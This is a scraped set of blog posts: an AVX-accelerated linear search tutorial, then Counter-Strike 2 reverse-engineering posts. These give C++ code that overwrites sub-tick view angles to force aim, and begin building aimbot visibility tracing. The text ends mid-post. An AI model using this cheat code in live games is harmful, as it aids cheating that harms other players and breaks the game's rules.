[{"content":"Linear search is one of the simplest algorithms for finding a value in a sequence. It has a worst-case time complexity of \\(O(n)\\), making it asymptotically less efficient than algorithms such as binary search, which performs lookups in \\(O(\\log n)\\) on sorted data.\nIf the data is initially unsorted, however, it must first be sorted at a cost of \\(O(n \\log n)\\). For a single lookup, this preprocessing cost makes sorting followed by binary search slower than a linear scan. Binary search becomes advantageous when the same dataset is searched repeatedly.\nThis article focuses on optimizing linear search for modern hardware. While binary search is generally the better algorithm for repeated lookups on sorted data, a carefully optimized linear search can outperform it on small datasets due to superior cache locality, reduced branch overhead, and SIMD acceleration.\nUnoptimized Linear Search Consider the simple linear search implementation below. It scans the array from beginning to end, comparing each element against the search value (target). If a match is found, the function immediately returns the index of the matching element. Otherwise, it continues until the end of the array before returning -1 to indicate that the value was not found.\nstd::size_t linear_search( const std::span\u0026lt;const std::uint64_t\u0026gt; data, const std::uint64_t target) { for (std::size_t i = 0; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return -1; } The performance of linear search depends entirely on where the target value is located:\nBest case: The target is the first element, requiring only a single comparison (\\(O(1)\\)). Average case: Assuming the target is equally likely to appear anywhere in the array, roughly half of the elements are examined before a match is found (\\(O(n)\\)). Worst case: The target is the last element, or it does not exist in the array at all. In either case, every element must be compared, requiring n comparisons (\\(O(n)\\)). Although the algorithm performs at most one comparison per element, the cost of these comparisons is only part of the story. Every iteration also performs loop control, memory loads, and a conditional branch. Modern processors can execute multiple independent operations simultaneously, making this scalar implementation unable to fully utilize the available hardware resources.\nThe remainder of this article focuses on improving the constant factors of linear search rather than its asymptotic complexity. The algorithm remains \\(O(n)\\), but by exploiting SIMD instructions, cache-friendly memory access, and branch reduction, it is possible to significantly reduce the time required to scan large arrays.\nIntroduction to AVX Advanced Vector Extensions (AVX) is an extension to the x86 instruction set that enables Single Instruction, Multiple Data (SIMD) execution. Rather than performing the same operation on a single value at a time, SIMD instructions operate on multiple values packed into a wide vector register. For example, AVX2 provides 256-bit registers capable of holding four 64-bit integers, while AVX-512 doubles the register width to 512 bits, allowing eight 64-bit integers to be processed simultaneously.\nFor linear search, this means that instead of comparing the target value against a single array element per iteration, the target can be compared against multiple elements simultaneously. By broadcasting the search value across an entire vector register and loading a block of consecutive elements from memory, a single SIMD comparison instruction can test every element in the block at once.\nAlthough the algorithm remains \\(O(n)\\), SIMD allows each iteration to examine four elements with AVX2 or eight elements with AVX-512, significantly reducing the number of iterations, branches, and comparison instructions required to scan the array.\nAVX Support on Modern x86 Processors Most modern x86 processors support at least one version of the Advanced Vector Extensions (AVX) instruction set. For example, AMD\u0026rsquo;s flagship Ryzen 9 9950X3D includes support for AVX-512, enabling 512-bit SIMD operations on compatible workloads.\nIntel\u0026rsquo;s recent consumer processors, however, present a different situation. While early Alder Lake processors physically included AVX-512 support on their Performance (P) cores, the feature was disabled in shipping products because the Efficiency (E) cores do not implement it. Maintaining two different instruction set capabilities within the same processor complicates scheduling and software compatibility. Additionally, AVX-512 significantly increases die area and power consumption while remaining a niche feature for most desktop applications, making it difficult to justify in mainstream consumer CPUs.\nA robust implementation should detect the processor\u0026rsquo;s supported instruction sets at runtime and dispatch to the most suitable implementation. Depending on the available features, this may be the scalar linear search, an AVX2 implementation, or an AVX-512 implementation.\nDetecting AVX Support A processor\u0026rsquo;s SIMD capabilities can be queried using the CPUID instruction. The relevant feature flags are exposed by the Structured Extended Feature Flags Enumeration leaf, selected by setting EAX = 0x07 (subleaf ECX = 0) before executing CPUID.\nSupport for AVX2 is indicated by bit 5 of the returned EBX register.\nAVX-512 support is centered around the AVX512F (AVX-512 Foundation) feature, indicated by bit 16 of EBX. AVX512F forms the baseline AVX-512 instruction set and provides the functionality, including:\n512-bit vector registers (ZMM0-ZMM31) Eight mask registers (k0-k7) for predicated execution Masked arithmetic and logical operations 512-bit memory load and store instructions Basic integer and floating-point vector operations Many processors also implement additional AVX-512 extensions. One of the most common is AVX512DQ (Doubleword and Quadword Instructions), indicated by bit 17 of EBX. This extension expands the instruction set with additional operations on 32-bit and 64-bit integers, including:\nInteger multiplication Bit manipulation instructions Additional broadcast operations Integer conversion instructions Extended logical and arithmetic operations The AVX-512 implementation presented in this article relies only on AVX512F. None of the instructions used require AVX512DQ, making the baseline AVX-512 feature set sufficient.\nImplementing linear search with AVX2 AVX2 provides 256-bit vector registers. Because each element in the input buffer is a 64-bit unsigned integer, one vector register can hold four elements at once:\n\\[\r\\frac{256\\ \\text{bits}}{64\\ \\text{bits per element}} = 4\\ \\text{elements}\r\\]A scalar linear search compares one array element against the target during each iteration. The AVX2 implementation instead loads and compares four elements simultaneously, reducing the number of loop iterations from approximately \\(n\\) to:\n\\[\r\\left\\lfloor \\frac{n}{4} \\right\\rfloor\r\\]The algorithm remains \\(O(n)\\), because the amount of work still grows linearly with the size of the input. Vectorization only reduces the constant factor by processing several elements per instruction.\nstd::size_t linear_search_avx2( const std::span\u0026lt;const std::uint64_t\u0026gt; data, const std::uint64_t target) { const __m256i needle = _mm256_set1_epi64x(static_cast\u0026lt;std::int64_t\u0026gt;(target)); constexpr std::size_t elements_per_vector = 4; const std::size_t vectorized_end = data.size() - (data.size() % elements_per_vector); for (std::size_t i = 0; i \u0026lt; vectorized_end; i += elements_per_vector) { const __m256i chunk = _mm256_loadu_si256( reinterpret_cast\u0026lt;const __m256i*\u0026gt;(data.data() + i)); const __m256i comparison = _mm256_cmpeq_epi64(chunk, needle); const auto mask = static_cast\u0026lt;std::uint32_t\u0026gt;( _mm256_movemask_epi8(comparison)); if (mask != 0) { return i + (std::countr_zero(mask) / sizeof(std::uint64_t)); } } for (std::size_t i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return -1; } Broadcasting the target value The first step is to copy the target value into all four 64-bit lanes of a vector register:\nconst __m256i needle = _mm256_set1_epi64x(static_cast\u0026lt;std::int64_t\u0026gt;(target)); Conceptually, if the target is \\(t\\), the resulting register contains:\n\\[\r\\text{needle} =\r\\begin{bmatrix}\rt \u0026 t \u0026 t \u0026 t\r\\end{bmatrix}\r\\]Although _mm256_set1_epi64x accepts a signed 64-bit integer, the comparison is purely bitwise. Casting std::uint64_t to std::int64_t preserves the underlying 64-bit bit pattern.\nDetermining the vectorized range Each vectorized iteration processes four elements, so the AVX2 loop must stop at the largest multiple of four that does not exceed the buffer size.\nThis boundary is calculated as:\n\\[\rn_{\\text{vectorized}} = n - (n \\bmod 4)\r\\]In the implementation:\nconst std::size_t vectorized_end = data.size() - (data.size() % elements_per_vector); For example, if the buffer contains 14 elements:\n\\[\r14 - (14 \\bmod 4) = 14 - 2 = 12\r\\]The first 12 elements are processed using AVX2, while the final two elements are handled by the scalar cleanup loop.\nThe number of remaining elements is always:\n\\[\rr = n \\bmod 4 \\qquad 0 \\le r \u003c 4\r\\]Therefore, the scalar loop performs at most three comparisons.\nLoading four elements The intrinsic _mm256_loadu_si256 loads 256 bits (four 64-bit integers) from memory:\nconst __m256i chunk = _mm256_loadu_si256( reinterpret_cast\u0026lt;const __m256i*\u0026gt;(data.data() + i)); The u in loadu denotes an unaligned load, meaning the memory address does not have to be aligned to a 32-byte boundary.\nAt iteration \\(i\\), the loaded register contains:\n\\[\r\\text{chunk} =\r\\begin{bmatrix}\r\\text{data}[i] \u0026\r\\text{data}[i+1] \u0026\r\\text{data}[i+2] \u0026\r\\text{data}[i+3]\r\\end{bmatrix}\r\\]Comparing four values simultaneously The intrinsic _mm256_cmpeq_epi64 performs four independent 64-bit comparisons:\nconst __m256i comparison = _mm256_cmpeq_epi64(chunk, needle); Each lane of the result is defined as\n\\[\r\\text{comparison}_j\r=\r\\begin{cases}\r2^{64}-1,\r\u0026\r\\text{if }\r\\text{chunk}_j=t\r\\\\[6pt]\r0,\r\u0026\r\\text{otherwise.}\r\\end{cases}\r\\]A matching lane therefore becomes\n0xFFFFFFFFFFFFFFFF while a nonmatching lane becomes\n0x0000000000000000 Suppose the loaded vector contains\n\\[\r\\begin{bmatrix}\r12 \u0026 25 \u0026 42 \u0026 81\r\\end{bmatrix}\r\\]and the search target is 42.\nThe comparison result is\n\\[\r\\begin{bmatrix}\r0 \u0026\r0 \u0026\r\\texttt{0xFFFFFFFFFFFFFFFF} \u0026\r0\r\\end{bmatrix}\r\\]Converting the comparison into a bit mask The comparison result is still a vector register. To determine whether any lane matched, _mm256_movemask_epi8 extracts the most significant bit of every byte into a 32-bit integer.\nconst auto mask = static_cast\u0026lt;std::uint32_t\u0026gt;(_mm256_movemask_epi8(comparison)); A 256-bit register contains\n\\[\r\\frac{256}{8}=32\r\\]bytes, producing a 32-bit mask.\nSince each 64-bit integer occupies eight bytes, every matching element contributes eight consecutive set bits:\n\\[\r\\frac{64}{8}=8\r\\]mask bits per element.\nThe correspondence is\nLane Mask bits 0 0–7 1 8–15 2 16–23 3 24–31 If only lane two matches, the mask conceptually becomes\n00000000 11111111 00000000 00000000 (where the least significant byte is on the right).\nA zero mask indicates that none of the four values matched.\nDetermining the matching index Once a nonzero mask is obtained, std::countr_zero() returns the index of the least-significant set bit.\nstd::countr_zero(mask) Because each lane contributes eight mask bits, dividing by eight converts the bit position into a lane index:\n\\[\r\\text{lane} = \\frac{\\operatorname{countr\\_zero}(\\text{mask})}{8}\r\\]Since\n\\[\r\\mathrm{sizeof}(\\mathtt{std::uint64\\_t}) = 8\\ \\text{bytes}\r\\]the implementation simply writes\nstd::countr_zero(mask) / sizeof(std::uint64_t) For example, if the first set bit appears at position 16,\n\\[\r\\frac{16}{8}=2,\r\\]meaning the matching value is located in lane two.\nThe corresponding array index is therefore\n\\[\ri + \\frac{\\operatorname{countr\\_zero}(\\text{mask})}{8}.\r\\]If multiple values inside the vector equal the target, std::countr_zero() naturally selects the first one, preserving the behavior of the scalar implementation.\nProcessing the remaining elements If the array length is not divisible by four, between one and three elements remain after the vectorized loop.\nThese values are processed using the original scalar implementation:\nfor (std::size_t i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } The cleanup loop executes at most\n\\[\rn \\bmod 4\r\\]comparisons.\nComplexity The asymptotic complexity remains unchanged:\n\\[\rT(n)=O(n).\r\\]The number of vector iterations is\n\\[\r\\left\\lfloor\\frac{n}{4}\\right\\rfloor,\r\\]followed by\n\\[\rn\\bmod4\r\\]scalar iterations.\nOverall, the number of loop iterations becomes approximately\n\\[\rI(n) =\r\\left\\lfloor\\frac{n}{4}\\right\\rfloor\r+\r(n\\bmod4),\r\\]while the total number of elements examined remains exactly \\(n\\).\nImplementing linear search with AVX-512 AVX-512 doubles the width of the vector registers from 256 bits to 512 bits. Since each element is a 64-bit unsigned integer, a single register can hold eight values:\n\\[\r\\frac{512\\ \\text{bits}}{64\\ \\text{bits per element}} = 8\\ \\text{elements}\r\\]Compared to the AVX2 implementation, this doubles the number of elements processed during each iteration.\nThe vectorized portion of the array consists of the largest multiple of eight that does not exceed the array size:\n\\[\rn_{\\mathrm{vectorized}} = n-(n\\bmod8).\r\\]The algorithm still has a worst-case complexity of\n\\[\rT(n)=O(n),\r\\]but the number of vector iterations is approximately\n\\[\r\\left\\lfloor\\frac{n}{8}\\right\\rfloor.\r\\]std::size_t linear_search_avx512( const std::span\u0026lt;const std::uint64_t\u0026gt; data, const std::uint64_t target) { const __m512i needle = _mm512_set1_epi64(static_cast\u0026lt;std::int64_t\u0026gt;(target)); constexpr std::size_t elements_per_vector = 8; const std::size_t vectorized_end = data.size() - (data.size() % elements_per_vector); for (std::size_t i = 0; i \u0026lt; vectorized_end; i += elements_per_vector) { const __m512i chunk = _mm512_loadu_si512(data.data() + i); if (const __mmask8 mask = _mm512_cmpeq_epi64_mask(chunk, needle); mask != 0) { return i + std::countr_zero(mask); } } for (std::size_t i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return -1; } Broadcasting the target value The search value is replicated into all eight 64-bit lanes:\nconst __m512i needle = _mm512_set1_epi64(static_cast\u0026lt;std::int64_t\u0026gt;(target)); Conceptually,\n\\[\r\\text{needle} =\r\\begin{bmatrix}\rt\u0026t\u0026t\u0026t\u0026t\u0026t\u0026t\u0026t\r\\end{bmatrix}.\r\\]Loading eight values Each iteration loads eight consecutive elements from memory:\nconst __m512i chunk = _mm512_loadu_si512(data.data() + i); Conceptually,\n\\[\r\\text{chunk} =\r\\begin{bmatrix}\r\\text{data}[i] \u0026\r\\text{data}[i+1] \u0026\r\\cdots \u0026\r\\text{data}[i+7]\r\\end{bmatrix}.\r\\]Like its AVX2 counterpart, _mm512_loadu_si512 performs an unaligned load, meaning the memory address does not need to be aligned to a 64-byte boundary.\nComparing eight values simultaneously The intrinsic\nconst __mmask8 mask = _mm512_cmpeq_epi64_mask(chunk, needle); performs eight independent comparisons and returns a predicate mask instead of a vector register.\nEach bit in the resulting __mmask8 corresponds directly to one 64-bit lane:\nLane Mask bit 0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 If the loaded values are\n\\[\r\\begin{bmatrix}\r12\u002625\u002642\u002681\u002615\u002699\u00267\u002618\r\\end{bmatrix}\r\\]and the target is 42, the resulting mask is\n00000100 where bit 2 is set.\nUnlike AVX2, there is no need to convert a comparison vector into a scalar mask using _mm256_movemask_epi8. The comparison instruction produces the mask directly.\nDetermining the matching index Since every bit represents one lane, finding the first matching element is straightforward:\nstd::countr_zero(mask) returns the index of the first matching lane.\nThe corresponding array index is simply\n\\[\ri+\\operatorname{countr\\_zero}(\\text{mask}).\r\\]No division is required because there is exactly one mask bit per element.\nProcessing the remaining elements If the array size is not divisible by eight, the remaining elements are processed using the scalar implementation:\nfor (std::size_t i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } The cleanup loop executes at most\n\\[\rn\\bmod8\r\\]comparisons.\nComplexity The asymptotic complexity is unchanged:\n\\[\rT(n)=O(n).\r\\]The number of vector iterations becomes\n\\[\r\\left\\lfloor\\frac{n}{8}\\right\\rfloor,\r\\]followed by at most\n\\[\rn\\bmod8\r\\]scalar iterations.\nCompared to the AVX2 implementation, AVX-512 halves the number of vector iterations and simplifies the comparison logic by producing a native predicate mask. Eliminating the additional movemask operation reduces instruction count and makes the implementation both shorter and easier to understand.\nPutting it together: runtime-dispatched linear search The scalar, AVX2, and AVX-512 implementations can now be combined behind a single interface. During construction, the class detects the instruction sets that are usable on the current system and selects the most capable implementation.\nThe CPUID structure definitions used in this example are provided by Satoshi Tanda\u0026rsquo;s ia32-doc project.\nRuntime dispatch follows this priority:\nUse AVX-512 when both the processor and operating system support it. Otherwise, use AVX2 when it is available. Fall back to the scalar implementation on systems without usable AVX support. The selected implementation is stored as a plain function pointer. Unlike std::function, a function pointer does not require type erasure and is sufficient because every implementation has the same fixed signature.\n#include \u0026lt;bit\u0026gt; #include \u0026lt;cstddef\u0026gt; #include \u0026lt;cstdint\u0026gt; #include \u0026lt;immintrin.h\u0026gt; #include \u0026lt;intrin.h\u0026gt; #include \u0026lt;span\u0026gt; #include \u0026lt;type_traits\u0026gt; #include \u0026#34;ia32.hpp\u0026#34; namespace x86 { template \u0026lt;typename T\u0026gt; requires ( sizeof(T) == sizeof(std::int32_t) * 4 \u0026amp;\u0026amp; alignof(T) \u0026gt;= alignof(std::int32_t) \u0026amp;\u0026amp; std::is_trivially_copyable_v\u0026lt;T\u0026gt;) [[nodiscard]] T cpuid(const std::int32_t leaf, const std::int32_t subleaf = 0) noexcept { T result = { }; __cpuidex(reinterpret_cast\u0026lt;std::int32_t*\u0026gt;(\u0026amp;result), leaf, subleaf); return result; } [[nodiscard]] bool os_supports_avx() noexcept { if (const auto basic = cpuid\u0026lt;cpuid_eax_00\u0026gt;(CPUID_SIGNATURE); basic.max_cpuid_input_value \u0026lt; CPUID_VERSION_INFORMATION) { return false; } if (const auto features = cpuid\u0026lt;cpuid_eax_01\u0026gt;(CPUID_VERSION_INFORMATION); !features.cpuid_feature_information_ecx.avx_support || !features.cpuid_feature_information_ecx.osx_save) { return false; } constexpr std::uint64_t xmm_state = 1ull \u0026lt;\u0026lt; 1; constexpr std::uint64_t ymm_state = 1ull \u0026lt;\u0026lt; 2; constexpr std::uint64_t required_state = xmm_state | ymm_state; const std::uint64_t xcr0 = _xgetbv(0); return (xcr0 \u0026amp; required_state) == required_state; } [[nodiscard]] bool os_supports_avx512() noexcept { if (!os_supports_avx()) { return false; } constexpr std::uint64_t opmask_state = 1ull \u0026lt;\u0026lt; 5; constexpr std::uint64_t zmm_hi256_state = 1ull \u0026lt;\u0026lt; 6; constexpr std::uint64_t hi16_zmm_state = 1ull \u0026lt;\u0026lt; 7; constexpr std::uint64_t required_state = opmask_state | zmm_hi256_state | hi16_zmm_state; const std::uint64_t xcr0 = _xgetbv(0); return (xcr0 \u0026amp; required_state) == required_state; } [[nodiscard]] static bool supports_avx2() noexcept { if (!os_supports_avx()) { return false; } if (const auto basic = cpuid\u0026lt;cpuid_eax_00\u0026gt;(CPUID_SIGNATURE); basic.max_cpuid_input_value \u0026lt; CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS) { return false; } const auto features = cpuid\u0026lt;cpuid_eax_07\u0026gt;(CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS); return features.ebx.avx2; } [[nodiscard]] bool supports_avx512f() noexcept { if (!os_supports_avx512()) { return false; } if (const auto basic = cpuid\u0026lt;cpuid_eax_00\u0026gt;(CPUID_SIGNATURE); basic.max_cpuid_input_value \u0026lt; CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS) { return false; } const auto features = cpuid\u0026lt;cpuid_eax_07\u0026gt;(CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS); return features.ebx.avx512f; } } class runtime_dispatched_linear_search_t { public: using value_type = std::uint64_t; using size_type = std::size_t; static constexpr size_type npos = static_cast\u0026lt;size_type\u0026gt;(-1); private: using search_function_t = size_type(*)(std::span\u0026lt;const value_type\u0026gt;, value_type); search_function_t m_search_function; [[nodiscard]] static size_type linear_search( const std::span\u0026lt;const value_type\u0026gt; data, const value_type target) noexcept { for (size_type i = 0; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return npos; } [[nodiscard]] static size_type linear_search_avx2( const std::span\u0026lt;const value_type\u0026gt; data, const value_type target) noexcept { constexpr size_type elements_per_vector = sizeof(__m256i) / sizeof(value_type); const __m256i needle = _mm256_set1_epi64x(static_cast\u0026lt;std::int64_t\u0026gt;(target)); const size_type vectorized_end = data.size() - (data.size() % elements_per_vector); for (size_type i = 0; i \u0026lt; vectorized_end; i += elements_per_vector) { const __m256i chunk = _mm256_loadu_si256(reinterpret_cast\u0026lt;const __m256i*\u0026gt;(data.data() + i)); const __m256i comparison = _mm256_cmpeq_epi64(chunk, needle); if (const auto mask = static_cast\u0026lt;std::uint32_t\u0026gt;(_mm256_movemask_epi8(comparison)); mask != 0) { const size_type lane = std::countr_zero(mask) / sizeof(value_type); return i + lane; } } for (size_type i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return npos; } [[nodiscard]] static size_type linear_search_avx512( const std::span\u0026lt;const value_type\u0026gt; data, const value_type target) noexcept { constexpr size_type elements_per_vector = sizeof(__m512i) / sizeof(value_type); const __m512i needle = _mm512_set1_epi64(static_cast\u0026lt;std::int64_t\u0026gt;(target)); const size_type vectorized_end = data.size() - (data.size() % elements_per_vector); for (size_type i = 0; i \u0026lt; vectorized_end; i += elements_per_vector) { const __m512i chunk = _mm512_loadu_si512(data.data() + i); if (const __mmask8 mask = _mm512_cmpeq_epi64_mask(chunk, needle); mask != 0) { const auto scalar_mask = static_cast\u0026lt;std::uint8_t\u0026gt;(mask); return i + std::countr_zero(scalar_mask); } } for (size_type i = vectorized_end; i \u0026lt; data.size(); ++i) { if (data[i] == target) { return i; } } return npos; } [[nodiscard]] static search_function_t select_implementation() noexcept { if (x86::supports_avx512f()) { return \u0026amp;linear_search_avx512; } if (x86::supports_avx2()) { return \u0026amp;linear_search_avx2; } return \u0026amp;linear_search; } public: runtime_dispatched_linear_search_t() noexcept : m_search_function(select_implementation()) { } [[nodiscard]] size_type find( const std::span\u0026lt;const value_type\u0026gt; data, const value_type target) const noexcept { return this-\u0026gt;m_search_function(data, target); } }; Querying CPUID The helper wraps the __cpuidex intrinsic and returns the four output registers as an ia32-doc structure:\ntemplate \u0026lt;typename T\u0026gt; T cpuid( const std::int32_t leaf, const std::int32_t subleaf = 0); CPUID places its results in the EAX, EBX, ECX, and EDX registers. Some leaves, including structured extended feature leaf 0x07, use ECX as a subleaf selector.\nFor this reason, __cpuidex is preferable to __cpuid, because it allows both the leaf and subleaf to be specified.\nThe template is restricted to trivially copyable types whose size matches the four 32-bit registers written by the intrinsic:\n\\[\r4 \\times 32\\ \\mathrm{bits} =\r128\\ \\mathrm{bits}\r\\]Checking the maximum supported leaf Before querying leaf 0x07, the implementation first requests basic leaf 0x00:\nconst auto basic = cpuid\u0026lt;cpuid_eax_00\u0026gt;(CPUID_SIGNATURE); The returned EAX value identifies the highest basic CPUID leaf supported by the processor.\nThe program should not interpret a leaf unless the processor reports that the leaf is available.\nFor structured extended feature information, the following condition must hold:\nbasic.max_cpuid_input_value \u0026gt;= CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS This prevents the program from interpreting feature fields from an unsupported CPUID leaf.\nChecking operating-system AVX support A processor advertising AVX or AVX2 support is not sufficient by itself. The operating system must also preserve the extended SIMD register state during context switches.\nThe AVX check first verifies the AVX and OSXSAVE feature flags:\nif (const auto features = cpuid\u0026lt;cpuid_eax_01\u0026gt;(CPUID_VERSION_INFORMATION); !features.cpuid_feature_information_ecx.avx_support || !features.cpuid_feature_information_ecx.osx_save) { return false; } When OSXSAVE is set, the program may execute XGETBV to inspect XCR0.\nFor AVX instructions, both the XMM and YMM state components must be enabled:\n\\[\rXCR0[1] = 1\r\\]and\n\\[\rXCR0[2] = 1\r\\]The required mask is therefore:\n\\[\r(1 \\ll 1) \\mathbin{|} (1 \\ll 2) = 0x6\r\\]In code:\nconstexpr std::uint64_t xmm_state = 1ull \u0026lt;\u0026lt; 1; constexpr std::uint64_t ymm_state = 1ull \u0026lt;\u0026lt; 2; constexpr std::uint64_t required_state = xmm_state | ymm_state; The check succeeds only when all required bits are present:\nreturn (xcr0 \u0026amp; required_state) == required_state; Without this check, executing an AVX instruction may raise an invalid-opcode exception even when the processor itself supports AVX.\nChecking operating-system AVX-512 support AVX-512 requires the AVX state components as well as three additional components:\nXCR0 bit State component 5 AVX-512 opmask registers 6 Upper 256 bits of ZMM0–ZMM15 7 ZMM16–ZMM31 The additional state mask is:\n\\[\r(1 \\ll 5) \\lor (1 \\ll 6) \\lor (1 \\ll 7) = \\mathtt{0xE0}\r\\]Together with the XMM and YMM state, the complete AVX-512 requirement is:\n\\[\rXCR0 \\mathbin{\\\u0026} 0xE6 = 0xE6\r\\]The processor must also advertise the AVX512F feature through CPUID leaf 0x07.\nSelecting an implementation The implementation is selected once when the object is created:\nruntime_dispatched_linear_search_t() noexcept : m_search_function(select_implementation()) { } The selection function attempts the implementations in descending order of capability:\nif (x86::supports_avx512f()) { return \u0026amp;linear_search_avx512; } if (x86::supports_avx2()) { return \u0026amp;linear_search_avx2; } return \u0026amp;linear_search; Once selected, subsequent calls to find() do not repeat feature detection:\nreturn this-\u0026gt;m_search_function(data, target); The only additional runtime cost is an indirect function call. This is normally preferable to executing multiple CPUID and XGETBV checks for every search.\nUsing a function pointer No stateful callable, lambda capture, or arbitrary function object is needed here. A plain function pointer expresses the requirement more directly:\nusing search_function_t = size_type (*)(std::span\u0026lt;const value_type\u0026gt;, value_type); This avoids the unnecessary abstraction and potential overhead of std::function.\nRepresenting a failed search Because the return type is unsigned, returning -1 converts it to the largest representable std::size_t value.\nA named constant makes that behavior explicit:\nstatic constexpr size_type npos = static_cast\u0026lt;size_type\u0026gt;(-1); Callers can test the result using:\nconst auto index = search.find(data, target); if (index != runtime_dispatched_linear_search_t::npos) { // The target was found. } This follows the same convention as std::string::npos.\nCompilation considerations Runtime dispatch prevents an unsupported implementation from being called, but it does not automatically solve compiler-targeting requirements.\nThe scalar, AVX2, and AVX-512 implementations must be compiled so that:\nthe scalar path does not contain AVX instructions; the AVX2 path may contain AVX2 instructions; the AVX-512 path may contain AVX-512 instructions; the initialization and dispatch code can execute safely on the oldest supported processor. Depending on the compiler, this can be implemented using per-function target attributes, compiler-specific function multiversioning, or separate translation units compiled with different architecture options.\nFeature detection protects execution, but it cannot protect baseline code if the compiler has already emitted unsupported instructions into it.\n","permalink":"https://crowbar.team/posts/linear-search-optimization/","summary":"\u003cp\u003eLinear search is one of the simplest algorithms for finding a value in a sequence. It has a worst-case time complexity of \\(O(n)\\), making it asymptotically less efficient than algorithms such as binary search, which performs lookups in \\(O(\\log n)\\) on sorted data.\u003c/p\u003e\n\u003cp\u003eIf the data is initially unsorted, however, it must first be sorted at a cost of \\(O(n \\log n)\\). For a single lookup, this preprocessing cost makes sorting followed by binary search slower than a linear scan. Binary search becomes advantageous when the same dataset is searched repeatedly.\u003c/p\u003e","title":"Improving Linear Search Performance Using x86 AVX"},{"content":"Counter-Strike 2 introduced a new input system called Sub-Ticks, replacing the traditional approach where a user_cmd represented a single game tick. Instead, each command can now contain multiple sub-tick inputs, allowing the server to reconstruct player actions with much greater precision.\nWhat are Sub-Ticks? Prior to Source 2, player input was sampled once per server tick. Counter-Strike 2 instead records player actions at a higher temporal resolution by storing multiple sub-tick events inside a single user_cmd.\nWhen the command reaches the server, these events are replayed in the order they occurred, allowing the server to accurately determine exactly when actions such as aiming or shooting took place between ticks.\nOne important consequence of this design is that simply modifying the view angles stored in user_cmd is no longer sufficient. Those values are overwritten by the individual sub-tick commands during processing, meaning each sub-tick must be updated instead.\nReconstructing the Sub-Tick structures class c_cmd_qangle { public: char pad1[0x18]; vec3_t angles; }; static_assert(sizeof(c_cmd_qangle) == 0x24); class c_sub_tick_cmd { public: char pad1[0x18]; c_cmd_qangle* view; }; static_assert(sizeof(c_sub_tick_cmd) == 0x20); class c_sub_tick_container { public: std::int32_t tick_count; char pad1[0x4]; std::uint8_t* tick_pointer; c_sub_tick_cmd* get_tick(std::int32_t index) { if (index \u0026lt; this-\u0026gt;tick_count) { c_sub_tick_cmd** tick_list = reinterpret_cast\u0026lt;c_sub_tick_cmd**\u0026gt;(this-\u0026gt;tick_pointer + 0x8); return tick_list[index]; } return nullptr; } }; static_assert(sizeof(c_sub_tick_container) == 0x10); class c_user_cmd { public: char pad1[0x20]; c_sub_tick_container sub_tick_container; char pad2[0x20]; std::uint32_t buttons; }; static_assert(sizeof(c_user_cmd) == 0x58); The c_sub_tick_container is located at offset 0x20 inside c_user_cmd.\nIt stores the number of recorded sub-ticks together with a pointer to the underlying sub-tick array. The pointer references an internal structure where the array begins at offset 0x8.\nEach individual c_sub_tick_cmd can be accessed by indexing this array, allowing its associated view angles to be inspected or modified.\nUpdating Sub-Tick view angles void set_sub_tick_angles(c_user_cmd* cmd, const vec3_t\u0026amp; angles) { c_sub_tick_container container = cmd-\u0026gt;sub_tick_container; for (std::int32_t i = 0; i \u0026lt; container.tick_count; i++) { c_sub_tick_cmd* tick = container.get_tick(i); if (tick \u0026amp;\u0026amp; tick-\u0026gt;view) { tick-\u0026gt;view-\u0026gt;angles = angles; } } } To force a specific viewing direction, every recorded sub-tick must be updated individually. Modifying only the base user_cmd view angles is insufficient, as the server reconstructs the player\u0026rsquo;s aim from the sub-tick data instead.\n","permalink":"https://crowbar.team/posts/cs2-sub-ticks/","summary":"\u003cp\u003eCounter-Strike 2 introduced a new input system called \u003cstrong\u003eSub-Ticks\u003c/strong\u003e, replacing the traditional approach where a \u003ccode\u003euser_cmd\u003c/code\u003e represented a single game tick. Instead, each command can now contain multiple sub-tick inputs, allowing the server to reconstruct player actions with much greater precision.\u003c/p\u003e\n\u003ch2 id=\"what-are-sub-ticks\"\u003eWhat are Sub-Ticks?\u003c/h2\u003e\n\u003cp\u003ePrior to Source 2, player input was sampled once per server tick. Counter-Strike 2 instead records player actions at a higher temporal resolution by storing multiple sub-tick events inside a single \u003ccode\u003euser_cmd\u003c/code\u003e.\u003c/p\u003e","title":"Counter-Strike 2: Reverse Engineering The Sub-Tick System"},{"content":"A core requirement of any aimbot is determining whether an enemy is visible or obstructed by world geometry. To answer that question reliably, the game\u0026rsquo;s ray tracing system must be used.\nWhat is ray tracing? Ray tracing is a technique used by game engines to determine whether a line intersects with geometry or entities in the world. A ray is cast from a starting position in a specified direction, and the engine reports the first object it intersects.\nAlthough commonly associated with graphics rendering, Source 2 also uses ray tracing extensively for gameplay systems, including:\nBullet collision Visibility checks Collision detection Object interaction For example, whenever a weapon is fired, the engine performs a trace to determine whether the projectile hits world geometry or another player.\nLocating trace_shape in Source 2 Finding the function responsible for ray tracing is straightforward.\nSearching for the string \u0026quot;Physics/TraceShape (Client)\u0026quot; immediately leads to the function responsible for client-side tracing.\nBy placing a breakpoint on this function, the unknown arguments (a2, a5, and a6) can be inspected using tools such as ReClass or Cheat Engine, making it possible to reconstruct the underlying data structures.\nReconstructing the arguments class c_ray { public: vec3_t start; vec3_t end; vec3_t mins; vec3_t maxs; std::uint32_t N000002C7; std::uint8_t N000002BE; }; static_assert(sizeof(c_ray) == 0x38); The second argument is a c_ray structure.\nIt describes the ray being traced, including its start and end positions, along with optional minimum and maximum bounds used for swept traces.\nThe final two members return values that could not be associated with any meaningful behavior at the time of writing.\nReturning to the caller reveals that trace_shape receives an instance of a virtual class named CTraceFilter.\nFurther inspection shows that numerous classes derive from CTraceFilter, suggesting that the class controls how a trace should behave.\nThe base class contains only a destructor and a virtual function that returns a boolean based on the filter\u0026rsquo;s configuration.\nNone of the existing implementations matched the desired behavior: ignore the local player, continue tracing until an enemy is encountered, and 